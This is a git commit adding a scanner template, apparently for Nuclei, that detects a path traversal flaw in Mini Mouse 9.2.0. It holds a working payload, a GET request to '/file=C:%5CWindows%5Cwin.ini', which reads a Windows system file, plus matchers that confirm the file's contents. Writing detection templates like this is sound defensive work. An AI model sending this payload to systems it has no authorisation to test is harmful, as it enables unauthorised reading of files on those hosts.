Create minimouse-lfi.yaml

patch-1
Roberto Nunes 2021-09-06 17:56:20 +09:00 committed by GitHub
parent 1f403d4ddb
commit 37b81df9cc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

26
minimouse-lfi.yaml Normal file
View File

@ -0,0 +1,26 @@
id: minimouse-lfi
info:
name: Mini Mouse 9.2.0 - Path Traversal
author: 0x_Akoko
severity: high
reference: https://www.exploit-db.com/exploits/49744
tags: minimouse,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/file=C:%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body